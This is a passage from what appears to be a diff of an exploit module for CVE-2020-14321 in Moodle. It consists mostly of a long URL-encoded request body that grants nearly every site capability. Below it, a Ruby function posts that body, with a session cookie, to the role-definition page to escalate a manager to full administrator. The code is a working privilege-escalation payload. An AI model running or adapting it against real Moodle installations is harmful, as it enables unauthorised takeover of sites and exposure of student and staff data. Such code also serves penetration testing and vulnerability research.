myaddinstance=1&block%2Fhtml%3Amyaddinstance=1&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=1&block%2Fmentees%3Amyaddinstance=1&block%2Fmnet_hosts%3Amyaddinstance=1&block%2Fmyoverview%3Amyaddinstance=1&block%2Fmyprofile%3Amyaddinstance=1&block%2Fnavigation%3Amyaddinstance=1&block%2Fnews_items%3Amyaddinstance=1&block%2Fonline_users%3Amyaddinstance=1&block%2Fprivate_files%3Amyaddinstance=1&block%2Frecentlyaccessedcourses%3Amyaddinstance=1&block%2Frecentlyaccesseditems%3Amyaddinstance=1&block%2Frss_client%3Amyaddinstance=1&block%2Fsettings%3Amyaddinstance=1&block%2Fstarredcourses%3Amyaddinstance=1&block%2Ftags%3Amyaddinstance=1&block%2Ftimeline%3Amyaddinstance=1&enrol%2Fcategory%3Asynchronised=1&message%2Fairnotifier%3Amanagedevice=1&moodle%2Fanalytics%3Alistowninsights=1&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=1&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=1&moodle%2Fportfolio%3Aexport=1&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=1&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=1&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=1&moodle%2Fsite%3Amaintenanceaccess=1&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=1&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=1&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=1&moodle%2Fuser%3Amanageownblocks=1&moodle%2Fuser%3Amanageownfiles=1&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=1&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=1&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=1&tool%2Fdataprivacy%3Amanagedatarequests=1&tool%2Fdataprivacy%3Arequestdeleteforotheruser=1&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=1&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=1&moodle%2Fbadges%3Amanageownbadges=1&moodle%2Fbadges%3Aviewotherbadges=1&moodle%2Fcompetency%3Aevidencedelete=1&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=1&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=1&moodle%2Fcompetency%3Aplanmanageowndraft=1&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=1&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=1&moodle%2Fcompetency%3Aplanviewowndraft=1&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3Ausercompetencycommentown=1&moodle%2Fcompetency%3Ausercompetencyrequestreview=1&moodle%2Fcompetency%3Ausercompetencyrequestreviewown=1&moodle%2Fcompetency%3Ausercompetencyreview=1&moodle%2Fcompetency%3Ausercompetencyview=1&moodle%2Fcompetency%3Auserevidencemanage=1&moodle%2Fcompetency%3Auserevidencemanageown=0&moodle%2Fcompetency%3Auserevidenceview=1&moodle%2Fuser%3Aeditmessageprofile=1&moodle%2Fuser%3Aeditprofile=1&moodle%2Fuser%3Amanageblocks=1&moodle%2Fuser%3Areaduserblogs=1&moodle%2Fuser%3Areaduserposts=1&moodle%2Fuser%3Aviewalldetails=1&moodle%2Fuser%3Aviewlastip=1&moodle%2Fuser%3Aviewuseractivitiesreport=1&report%2Fusersessions%3Amanageownsessions=1&tool%2Fdataprivacy%3Adownloadallrequests=1&tool%2Fdataprivacy%3Adownloadownrequest=1&tool%2Fdataprivacy%3Amakedatadeletionrequestsforchildren=1&tool%2Fdataprivacy%3Amakedatarequestsforchildren=1&tool%2Fdataprivacy%3Arequestdelete=1&tool%2Fpolicy%3Aacceptbehalf=1&moodle%2Fcategory%3Amanage=1&moodle%2Fcategory%3Aviewcourselist=1&moodle%2Fcategory%3Aviewhiddencategories=1&moodle%2Fcohort%3Aassign=1&moodle%2Fcohort%3Amanage=1&moodle%2Fcompetency%3Acompetencymanage=1&moodle%2Fcompetency%3Acompetencyview=1&moodle%2Fcompetency%3Atemplatemanage=1&moodle%2Fcompetency%3Atemplateview=1&moodle%2Fcourse%3Acreate=1&moodle%2Fcourse%3Arequest=1&moodle%2Fsite%3Aapprovecourse=1&repository%2Fcontentbank%3Aaccesscoursecategorycontent=1&repository%2Fcontentbank%3Aaccessgeneralcontent=1&block%2Frecent_activity%3Aviewaddupdatemodule=1&block%2Frecent_activity%3Aviewdeletemodule=1&contenttype%2Fh5p%3Aaccess=1&contenttype%2Fh5p%3Aupload=1&contenttype%2Fh5p%3Auseeditor=1&enrol%2Fcategory%3Aconfig=1&enrol%2Fcohort%3Aconfig=1&enrol%2Fcohort%3Aunenrol=1&enrol%2Fdatabase%3Aconfig=1&enrol%2Fdatabase%3Aunenrol=1&enrol%2Fflatfile%3Amanage=1&enrol%2Fflatfile%3Aunenrol=1&enrol%2Fguest%3Aconfig=1&enrol%2Fimsenterprise%3Aconfig=1&enrol%2Fldap%3Amanage=1&enrol%2Flti%3Aconfig=1&enrol%2Flti%3Aunenrol=1&enrol%2Fmanual%3Aconfig=1&enrol%2Fmanual%3Aenrol=1&enrol%2Fmanual%3Amanage=1&enrol%2Fmanual%3Aunenrol=1&enrol%2Fmanual%3Aunenrolself=1&enrol%2Fmeta%3Aconfig=1&enrol%2Fmeta%3Aselectaslinked=1&enrol%2Fmeta%3Aunenrol=1&enrol%2Fmnet%3Aconfig=1&enrol%2Fpaypal%3Aconfig=1&enrol%2Fpaypal%3Amanage=1&enrol%2Fpaypal%3Aunenrol=1&enrol%2Fpaypal%3Aunenrolself=1&enrol%2Fself%3Aconfig=1&enrol%2Fself%3Aholdkey=1&enrol%2Fself%3Amanage=1&enrol%2Fself%3Aunenrol=1&enrol%2Fself%3Aunenrolself=1&gradeexport%2Fods%3Apublish=1&gradeexport%2Fods%3Aview=1&gradeexport%2Ftxt%3Apublish=1&gradeexport%2Ftxt%3Aview=1&gradeexport%2Fxls%3Apublish=1&gradeexport%2Fxls%3Aview=1&gradeexport%2Fxml%3Apublish=1&gradeexport%2Fxml%3Aview=1&gradeimport%2Fcsv%3Aview=1&gradeimport%2Fdirect%3Aview=1&gradeimport%2Fxml%3Apublish=1&gradeimport%2Fxml%3Aview=1&gradereport%2Fgrader%3Aview=1&gradereport%2Fhistory%3Aview=1&gradereport%2Foutcomes%3Aview=1&gradereport%2Foverview%3Aview=1&gradereport%2Fsingleview%3Aview=1&gradereport%2Fuser%3Aview=1&mod%2Fassign%3Aaddinstance=1&mod%2Fassignment%3Aaddinstance=1&mod%2Fbook%3Aaddinstance=1&mod%2Fchat%3Aaddinstance=1&mod%2Fchoice%3Aaddinstance=1&mod%2Fdata%3Aaddinstance=1&mod%2Ffeedback%3Aaddinstance=1&mod%2Ffolder%3Aaddinstance=1&mod%2Fforum%3Aaddinstance=1&mod%2Fglossary%3Aaddinstance=1&mod%2Fh5pactivity%3Aaddinstance=1&mod%2Fimscp%3Aaddinstance=1&mod%2Flabel%3Aaddinstance=1&mod%2Flesson%3Aaddinstance=1&mod%2Flti%3Aaddcoursetool=1&mod%2Flti%3Aaddinstance=1&mod%2Flti%3Aaddmanualinstance=1&mod%2Flti%3Aaddpreconfiguredinstance=1&mod%2Flti%3Arequesttooladd=1&mod%2Fpage%3Aaddinstance=1&mod%2Fquiz%3Aaddinstance=1&mod%2Fresource%3Aaddinstance=1&mod%2Fscorm%3Aaddinstance=1&mod%2Fsurvey%3Aaddinstance=1&mod%2Furl%3Aaddinstance=1&mod%2Fwiki%3Aaddinstance=1&mod%2Fworkshop%3Aaddinstance=1&moodle%2Fanalytics%3Alistinsights=1&moodle%2Fbackup%3Aanonymise=1&moodle%2Fbackup%3Abackupcourse=1&moodle%2Fbackup%3Abackupsection=1&moodle%2Fbackup%3Abackuptargetimport=1&moodle%2Fbackup%3Aconfigure=1&moodle%2Fbackup%3Adownloadfile=1&moodle%2Fbackup%3Auserinfo=1&moodle%2Fbadges%3Aawardbadge=1&moodle%2Fbadges%3Aconfigurecriteria=1&moodle%2Fbadges%3Aconfiguredetails=1&moodle%2Fbadges%3Aconfiguremessages=1&moodle%2Fbadges%3Acreatebadge=1&moodle%2Fbadges%3Adeletebadge=1&moodle%2Fbadges%3Aearnbadge=1&moodle%2Fbadges%3Arevokebadge=1&moodle%2Fbadges%3Aviewawarded=1&moodle%2Fbadges%3Aviewbadges=1&moodle%2Fcalendar%3Amanageentries=1&moodle%2Fcalendar%3Amanagegroupentries=1&moodle%2Fcalendar%3Amanageownentries=1&moodle%2Fcohort%3Aview=1&moodle%2Fcomment%3Adelete=1&moodle%2Fcomment%3Apost=1&moodle%2Fcomment%3Aview=1&moodle%2Fcompetency%3Acompetencygrade=1&moodle%2Fcompetency%3Acoursecompetencygradable=1&moodle%2Fcompetency%3Acoursecompetencymanage=1&moodle%2Fcompetency%3Acoursecompetencyview=1&moodle%2Fcontentbank%3Aaccess=1&moodle%2Fcontentbank%3Adeleteanycontent=1&moodle%2Fcontentbank%3Adeleteowncontent=1&moodle%2Fcontentbank%3Amanageanycontent=1&moodle%2Fcontentbank%3Amanageowncontent=1&moodle%2Fcontentbank%3Aupload=1&moodle%2Fcontentbank%3Auseeditor=1&moodle%2Fcourse%3Abulkmessaging=1&moodle%2Fcourse%3Achangecategory=1&moodle%2Fcourse%3Achangefullname=1&moodle%2Fcourse%3Achangeidnumber=1&moodle%2Fcourse%3Achangelockedcustomfields=1&moodle%2Fcourse%3Achangeshortname=1&moodle%2Fcourse%3Achangesummary=1&moodle%2Fcourse%3Acreategroupconversations=1&moodle%2Fcourse%3Adelete=1&moodle%2Fcourse%3Aenrolconfig=1&moodle%2Fcourse%3Aenrolreview=1&moodle%2Fcourse%3Aignorefilesizelimits=1&moodle%2Fcourse%3Aisincompletionreports=1&moodle%2Fcourse%3Amanagefiles=1&moodle%2Fcourse%3Amanagegroups=1&moodle%2Fcourse%3Amanagescales=1&moodle%2Fcourse%3Amarkcomplete=1&moodle%2Fcourse%3Amovesections=1&moodle%2Fcourse%3Aoverridecompletion=1&moodle%2Fcourse%3Arenameroles=1&moodle%2Fcourse%3Areset=1&moodle%2Fcourse%3Areviewotherusers=1&moodle%2Fcourse%3Asectionvisibility=1&moodle%2Fcourse%3Asetcurrentsection=1&moodle%2Fcourse%3Asetforcedlanguage=1&moodle%2Fcourse%3Atag=1&moodle%2Fcourse%3Aupdate=1&moodle%2Fcourse%3Auseremail=1&moodle%2Fcourse%3Aview=1&moodle%2Fcourse%3Aviewhiddencourses=1&moodle%2Fcourse%3Aviewhiddensections=1&moodle%2Fcourse%3Aviewhiddenuserfields=1&moodle%2Fcourse%3Aviewparticipants=1&moodle%2Fcourse%3Aviewscales=1&moodle%2Fcourse%3Aviewsuspendedusers=1&moodle%2Fcourse%3Avisibility=1&moodle%2Ffilter%3Amanage=1&moodle%2Fgrade%3Aedit=1&moodle%2Fgrade%3Aexport=1&moodle%2Fgrade%3Ahide=1&moodle%2Fgrade%3Aimport=1&moodle%2Fgrade%3Alock=1&moodle%2Fgrade%3Amanage=1&moodle%2Fgrade%3Amanagegradingforms=1&moodle%2Fgrade%3Amanageletters=1&moodle%2Fgrade%3Amanageoutcomes=1&moodle%2Fgrade%3Aunlock=1&moodle%2Fgrade%3Aview=1&moodle%2Fgrade%3Aviewall=1&moodle%2Fgrade%3Aviewhidden=1&moodle%2Fnotes%3Amanage=1&moodle%2Fnotes%3Aview=1&moodle%2Fquestion%3Aadd=1&moodle%2Fquestion%3Aeditall=1&moodle%2Fquestion%3Aeditmine=1&moodle%2Fquestion%3Aflag=1&moodle%2Fquestion%3Amanagecategory=1&moodle%2Fquestion%3Amoveall=1&moodle%2Fquestion%3Amovemine=1&moodle%2Fquestion%3Atagall=1&moodle%2Fquestion%3Atagmine=1&moodle%2Fquestion%3Auseall=1&moodle%2Fquestion%3Ausemine=1&moodle%2Fquestion%3Aviewall=1&moodle%2Fquestion%3Aviewmine=1&moodle%2Frating%3Arate=1&moodle%2Frating%3Aview=1&moodle%2Frating%3Aviewall=1&moodle%2Frating%3Aviewany=1&moodle%2Frestore%3Aconfigure=1&moodle%2Frestore%3Arestoreactivity=1&moodle%2Frestore%3Arestorecourse=1&moodle%2Frestore%3Arestoresection=1&moodle%2Frestore%3Arestoretargetimport=1&moodle%2Frestore%3Arolldates=1&moodle%2Frestore%3Auploadfile=1&moodle%2Frestore%3Auserinfo=1&moodle%2Frestore%3Aviewautomatedfilearea=1&moodle%2Frole%3Aassign=1&moodle%2Frole%3Aoverride=1&moodle%2Frole%3Areview=1&moodle%2Frole%3Asafeoverride=1&moodle%2Frole%3Aswitchroles=1&moodle%2Fsite%3Aviewreports=1&moodle%2Fuser%3Aloginas=1&moodle%2Fuser%3Aviewdetails=1&moodle%2Fuser%3Aviewhiddendetails=1&report%2Fcompletion%3Aview=1&report%2Flog%3Aview=1&report%2Flog%3Aviewtoday=1&report%2Floglive%3Aview=1&report%2Foutline%3Aview=1&report%2Foutline%3Aviewuserreport=1&report%2Fparticipation%3Aview=1&report%2Fprogress%3Aview=1&report%2Fstats%3Aview=1&repository%2Fcontentbank%3Aaccesscoursecontent=1&tool%2Fmonitor%3Amanagerules=1&tool%2Fmonitor%3Asubscribe=1&tool%2Frecyclebin%3Adeleteitems=1&tool%2Frecyclebin%3Arestoreitems=1&tool%2Frecyclebin%3Aviewitems=1&webservice%2Frest%3Ause=1&webservice%2Fsoap%3Ause=1&webservice%2Fxmlrpc%3Ause=1&atto%2Fh5p%3Aaddembed=1&atto%2Frecordrtc%3Arecordaudio=1&atto%2Frecordrtc%3Arecordvideo=1&booktool%2Fexportimscp%3Aexport=1&booktool%2Fimporthtml%3Aimport=1&booktool%2Fprint%3Aprint=1&forumreport%2Fsummary%3Aview=1&forumreport%2Fsummary%3Aviewall=1&mod%2Fassign%3Aeditothersubmission=1&mod%2Fassign%3Aexportownsubmission=1&mod%2Fassign%3Agrade=1&mod%2Fassign%3Agrantextension=1&mod%2Fassign%3Amanageallocations=1&mod%2Fassign%3Amanagegrades=1&mod%2Fassign%3Amanageoverrides=1&mod%2Fassign%3Areceivegradernotifications=1&mod%2Fassign%3Areleasegrades=1&mod%2Fassign%3Arevealidentities=1&mod%2Fassign%3Areviewgrades=1&mod%2Fassign%3Ashowhiddengrader=1&mod%2Fassign%3Asubmit=1&mod%2Fassign%3Aview=1&mod%2Fassign%3Aviewblinddetails=1&mod%2Fassign%3Aviewgrades=1&mod%2Fassignment%3Aexportownsubmission=1&mod%2Fassignment%3Agrade=1&mod%2Fassignment%3Asubmit=1&mod%2Fassignment%3Aview=1&mod%2Fbook%3Aedit=1&mod%2Fbook%3Aread=1&mod%2Fbook%3Aviewhiddenchapters=1&mod%2Fchat%3Achat=1&mod%2Fchat%3Adeletelog=1&mod%2Fchat%3Aexportparticipatedsession=1&mod%2Fchat%3Aexportsession=1&mod%2Fchat%3Areadlog=1&mod%2Fchat%3Aview=1&mod%2Fchoice%3Achoose=1&mod%2Fchoice%3Adeleteresponses=1&mod%2Fchoice%3Adownloadresponses=1&mod%2Fchoice%3Areadresponses=1&mod%2Fchoice%3Aview=1&mod%2Fdata%3Aapprove=1&mod%2Fdata%3Acomment=1&mod%2Fdata%3Aexportallentries=1&mod%2Fdata%3Aexportentry=1&mod%2Fdata%3Aexportownentry=1&mod%2Fdata%3Aexportuserinfo=1&mod%2Fdata%3Amanagecomments=1&mod%2Fdata%3Amanageentries=1&mod%2Fdata%3Amanagetemplates=1&mod%2Fdata%3Amanageuserpresets=1&mod%2Fdata%3Arate=1&mod%2Fdata%3Aview=1&mod%2Fdata%3Aviewallratings=1&mod%2Fdata%3Aviewalluserpresets=1&mod%2Fdata%3Aviewanyrating=1&mod%2Fdata%3Aviewentry=1&mod%2Fdata%3Aviewrating=1&mod%2Fdata%3Awriteentry=1&mod%2Ffeedback%3Acomplete=1&mod%2Ffeedback%3Acreateprivatetemplate=1&mod%2Ffeedback%3Acreatepublictemplate=1&mod%2Ffeedback%3Adeletesubmissions=1&mod%2Ffeedback%3Adeletetemplate=1&mod%2Ffeedback%3Aedititems=1&mod%2Ffeedback%3Amapcourse=1&mod%2Ffeedback%3Areceivemail=1&mod%2Ffeedback%3Aview=1&mod%2Ffeedback%3Aviewanalysepage=1&mod%2Ffeedback%3Aviewreports=1&mod%2Ffolder%3Amanagefiles=1&mod%2Ffolder%3Aview=1&mod%2Fforum%3Aaddnews=1&mod%2Fforum%3Aaddquestion=1&mod%2Fforum%3Aallowforcesubscribe=1&mod%2Fforum%3Acanoverridecutoff=1&mod%2Fforum%3Acanoverridediscussionlock=1&mod%2Fforum%3Acanposttomygroups=1&mod%2Fforum%3Acantogglefavourite=1&mod%2Fforum%3Acreateattachment=1&mod%2Fforum%3Adeleteanypost=1&mod%2Fforum%3Adeleteownpost=1&mod%2Fforum%3Aeditanypost=1&mod%2Fforum%3Aexportdiscussion=1&mod%2Fforum%3Aexportforum=1&mod%2Fforum%3Aexportownpost=1&mod%2Fforum%3Aexportpost=1&mod%2Fforum%3Agrade=1&mod%2Fforum%3Amanagesubscriptions=1&mod%2Fforum%3Amovediscussions=1&mod%2Fforum%3Apindiscussions=1&mod%2Fforum%3Apostprivatereply=1&mod%2Fforum%3Apostwithoutthrottling=1&mod%2Fforum%3Arate=1&mod%2Fforum%3Areadprivatereplies=1&mod%2Fforum%3Areplynews=1&mod%2Fforum%3Areplypost=1&mod%2Fforum%3Asplitdiscussions=1&mod%2Fforum%3Astartdiscussion=1&mod%2Fforum%3Aviewallratings=1&mod%2Fforum%3Aviewanyrating=1&mod%2Fforum%3Aviewdiscussion=1&mod%2Fforum%3Aviewhiddentimedposts=1&mod%2Fforum%3Aviewqandawithoutposting=1&mod%2Fforum%3Aviewrating=1&mod%2Fforum%3Aviewsubscribers=1&mod%2Fglossary%3Aapprove=1&mod%2Fglossary%3Acomment=1&mod%2Fglossary%3Aexport=1&mod%2Fglossary%3Aexportentry=1&mod%2Fglossary%3Aexportownentry=1&mod%2Fglossary%3Aimport=1&mod%2Fglossary%3Amanagecategories=1&mod%2Fglossary%3Amanagecomments=1&mod%2Fglossary%3Amanageentries=1&mod%2Fglossary%3Arate=1&mod%2Fglossary%3Aview=1&mod%2Fglossary%3Aviewallratings=1&mod%2Fglossary%3Aviewanyrating=1&mod%2Fglossary%3Aviewrating=1&mod%2Fglossary%3Awrite=1&mod%2Fh5pactivity%3Areviewattempts=1&mod%2Fh5pactivity%3Asubmit=1&mod%2Fh5pactivity%3Aview=1&mod%2Fimscp%3Aview=1&mod%2Flabel%3Aview=1&mod%2Flesson%3Aedit=1&mod%2Flesson%3Agrade=1&mod%2Flesson%3Amanage=1&mod%2Flesson%3Amanageoverrides=1&mod%2Flesson%3Aview=1&mod%2Flesson%3Aviewreports=1&mod%2Flti%3Aadmin=1&mod%2Flti%3Amanage=1&mod%2Flti%3Aview=1&mod%2Fpage%3Aview=1&mod%2Fquiz%3Aattempt=1&mod%2Fquiz%3Adeleteattempts=1&mod%2Fquiz%3Aemailconfirmsubmission=1&mod%2Fquiz%3Aemailnotifysubmission=1&mod%2Fquiz%3Aemailwarnoverdue=1&mod%2Fquiz%3Agrade=1&mod%2Fquiz%3Aignoretimelimits=1&mod%2Fquiz%3Amanage=1&mod%2Fquiz%3Amanageoverrides=1&mod%2Fquiz%3Apreview=1&mod%2Fquiz%3Aregrade=1&mod%2Fquiz%3Areviewmyattempts=1&mod%2Fquiz%3Aview=1&mod%2Fquiz%3Aviewreports=1&mod%2Fresource%3Aview=1&mod%2Fscorm%3Adeleteownresponses=1&mod%2Fscorm%3Adeleteresponses=1&mod%2Fscorm%3Asavetrack=1&mod%2Fscorm%3Askipview=1&mod%2Fscorm%3Aviewreport=1&mod%2Fscorm%3Aviewscores=1&mod%2Fsurvey%3Adownload=1&mod%2Fsurvey%3Aparticipate=1&mod%2Fsurvey%3Areadresponses=1&mod%2Furl%3Aview=1&mod%2Fwiki%3Acreatepage=1&mod%2Fwiki%3Aeditcomment=1&mod%2Fwiki%3Aeditpage=1&mod%2Fwiki%3Amanagecomment=1&mod%2Fwiki%3Amanagefiles=1&mod%2Fwiki%3Amanagewiki=1&mod%2Fwiki%3Aoverridelock=1&mod%2Fwiki%3Aviewcomment=1&mod%2Fwiki%3Aviewpage=1&mod%2Fworkshop%3Aallocate=1&mod%2Fworkshop%3Adeletesubmissions=1&mod%2Fworkshop%3Aeditdimensions=1&mod%2Fworkshop%3Aexportsubmissions=1&mod%2Fworkshop%3Aignoredeadlines=1&mod%2Fworkshop%3Amanageexamples=1&mod%2Fworkshop%3Aoverridegrades=1&mod%2Fworkshop%3Apeerassess=1&mod%2Fworkshop%3Apublishsubmissions=1&mod%2Fworkshop%3Asubmit=1&mod%2Fworkshop%3Aswitchphase=1&mod%2Fworkshop%3Aview=1&mod%2Fworkshop%3Aviewallassessments=1&mod%2Fworkshop%3Aviewallsubmissions=1&mod%2Fworkshop%3Aviewauthornames=1&mod%2Fworkshop%3Aviewauthorpublished=1&mod%2Fworkshop%3Aviewpublishedsubmissions=1&mod%2Fworkshop%3Aviewreviewernames=1&moodle%2Fbackup%3Abackupactivity=1&moodle%2Fcompetency%3Acoursecompetencyconfigure=1&moodle%2Fcourse%3Aactivityvisibility=1&moodle%2Fcourse%3Aignoreavailabilityrestrictions=1&moodle%2Fcourse%3Amanageactivities=1&moodle%2Fcourse%3Atogglecompletion=1&moodle%2Fcourse%3Aviewhiddenactivities=1&moodle%2Fh5p%3Adeploy=1&moodle%2Fh5p%3Asetdisplayoptions=1&moodle%2Fh5p%3Aupdatelibraries=1&moodle%2Fsite%3Aaccessallgroups=1&moodle%2Fsite%3Amanagecontextlocks=1&moodle%2Fsite%3Atrustcontent=1&moodle%2Fsite%3Aviewanonymousevents=1&moodle%2Fsite%3Aviewfullnames=1&moodle%2Fsite%3Aviewuseridentity=1&quiz%2Fgrading%3Aviewidnumber=1&quiz%2Fgrading%3Aviewstudentnames=1&quiz%2Fstatistics%3Aview=1&quizaccess%2Fseb%3Abypassseb=1&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=1&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=1&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=1&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=1&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=1&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=1&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=1&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=1&repository%2Fboxnet%3Aview=1&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=1&repository%2Fequella%3Aview=1&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=1&repository%2Fflickr_public%3Aview=1&repository%2Fgoogledocs%3Aview=1&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=1&repository%2Fonedrive%3Aview=1&repository%2Fpicasa%3Aview=1&repository%2Frecent%3Aview=1&repository%2Fs3%3Aview=1&repository%2Fskydrive%3Aview=1&repository%2Fupload%3Aview=1&repository%2Furl%3Aview=1&repository%2Fuser%3Aview=1&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=1&repository%2Fyoutube%3Aview=1&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinstance=1&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinstance=1&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=1&moodle%2Fsite%3Amanageblocks=1&savechanges=Save+changes" + end + + def set_manager_permissions(permissions) # we need raw for repeated data properties where a dict overwrites them res = send_request_raw({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'roles', 'define.php?roleid=1&action=edit'), 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/x-www-form-urlencoded' }, 'cookie' => "#{cookie_jar.cookies[0].name}=#{cookie_jar.cookies[0].value}", - # https://github.com/HoangKien1020/CVE-2020-14321#payload-to-full-permissions - # or - # https://github.com/HoangKien1020/CVE-2020-14321/blob/master/cve202014321.py#L113 - 'data' => 